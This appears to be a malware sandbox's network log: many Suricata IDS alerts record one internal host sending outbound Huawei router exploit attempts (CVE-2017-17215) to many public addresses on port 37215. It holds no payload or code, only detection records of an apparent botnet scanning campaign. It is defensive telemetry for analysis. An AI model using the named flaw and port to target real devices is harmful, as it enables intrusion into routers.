Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47438 -> 41.96.165.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40092 -> 41.224.51.184:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42460 -> 41.114.20.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56452 -> 156.178.255.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58474 -> 156.10.172.17:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41022 -> 156.76.35.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39734 -> 41.192.9.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43816 -> 156.60.200.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50674 -> 156.165.196.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48382 -> 156.147.64.138:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50584 -> 41.214.110.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33936 -> 41.30.78.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52532 -> 197.73.214.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42254 -> 197.172.82.145:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40752 -> 197.87.102.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57910 -> 197.0.5.179:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44744 -> 197.86.207.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57158 -> 156.252.250.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52352 -> 41.149.63.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47260 -> 156.7.11.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54830 -> 156.189.101.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37632 -> 156.42.73.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47088 -> 197.53.139.110:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54888 -> 41.139.101.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34102 -> 41.205.14.22:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52332 -> 197.210.89.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60180 -> 41.125.117.102:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48530 -> 197.108.73.223:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52766 -> 197.103.101.114:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36708 -> 197.177.156.30:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48696 -> 197.102.48.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35998 -> 156.207.216.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45748 -> 156.79.189.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37068 -> 41.114.110.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33496 -> 156.190.179.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52282 -> 156.159.53.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37560 -> 41.251.248.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53884 -> 197.11.4.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53424 -> 41.177.199.135:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52648 -> 156.82.102.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35812 -> 41.82.43.36:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44062 -> 41.177.1.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39082 -> 197.86.239.160:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54808 -> 156.26.39.47:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49444 -> 156.194.100.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34244 -> 156.137.155.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38110 -> 197.231.175.245:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37020 -> 197.170.117.10:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59136 -> 197.22.35.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59056 -> 156.134.127.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60920 -> 41.134.91.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57708 -> 156.150.87.77:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41636 -> 197.97.88.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42646 -> 41.141.128.89:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54450 -> 197.219.223.91:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48914 -> 156.115.211.80:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48156 -> 156.34.181.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53560 -> 41.135.197.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50832 -> 156.219.163.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42852 -> 156.205.105.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56118 -> 41.185.23.149:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43304 -> 156.33.99.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40288 -> 197.89.170.252:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51580 -> 41.80.11.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42912 -> 156.56.63.6:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50032 -> 197.218.197.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33050 -> 41.133.25.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43598 -> 197.8.14.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59698 -> 156.125.16.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45698 -> 41.167.193.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36732 -> 197.190.221.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36566 -> 197.99.236.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56820 -> 156.202.78.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39448 -> 41.164.250.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56384 -> 156.5.29.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42192 -> 197.251.163.22:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54406 -> 41.17.5.69:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50604 -> 41.144.112.76:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44828 -> 156.135.251.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36318 -> 197.125.193.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56224 -> 156.131.165.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47674 -> 197.160.218.177:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42856 -> 197.58.228.114:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50806 -> 156.187.174.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40414 -> 41.206.233.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58258 -> 197.176.176.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57136 -> 41.216.132.188:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51548 -> 156.77.18.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54506 -> 197.19.140.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36572 -> 156.7.180.15:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55334 -> 197.212.255.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42568 -> 197.17.158.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55680 -> 41.118.189.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44282 -> 41.130.204.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50080 -> 41.196.53.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55698 -> 41.70.223.81:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35768 -> 41.127.125.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34746 -> 197.186.28.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44884 -> 41.63.0.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46334 -> 41.21.108.191:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51734 -> 156.248.255.21:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49438 -> 156.178.49.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58872 -> 156.123.186.109:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52044 -> 197.215.137.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37776 -> 197.125.0.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37118 -> 41.155.56.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52382 -> 41.119.194.26:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38742 -> 156.91.174.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38276 -> 156.113.97.1:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38888 -> 197.33.56.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51782 -> 197.239.155.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50012 -> 41.26.175.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54492 -> 197.209.97.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34528 -> 156.62.201.8:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38496 -> 41.98.227.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40650 -> 156.32.42.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48292 -> 41.172.110.5:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33646 -> 156.55.88.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42482 -> 41.91.175.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53274 -> 197.69.151.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52932 -> 197.135.92.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41702 -> 197.120.188.58:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32906 -> 41.87.166.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33820 -> 156.47.26.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57530 -> 41.23.9.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42636 -> 197.76.33.3:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34226 -> 41.180.9.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53772 -> 197.58.23.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49670 -> 156.165.179.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43418 -> 156.58.41.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38374 -> 41.111.186.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55490 -> 156.249.130.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54664 -> 197.92.57.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34452 -> 41.218.248.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51518 -> 156.175.237.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45244 -> 197.151.246.17:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37074 -> 41.37.226.104:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50610 -> 41.195.147.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42020 -> 41.74.74.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43298 -> 41.225.68.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55696 -> 197.252.100.138:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50892 -> 156.85.177.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40574 -> 197.27.71.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49006 -> 41.164.245.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44262 -> 156.196.69.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50600 -> 156.81.106.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42836 -> 41.254.136.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54100 -> 197.138.35.126:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56352 -> 41.60.198.199:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55338 -> 41.143.93.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46186 -> 156.155.163.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40338 -> 41.36.136.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52706 -> 156.225.72.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39770 -> 197.144.251.169:37215
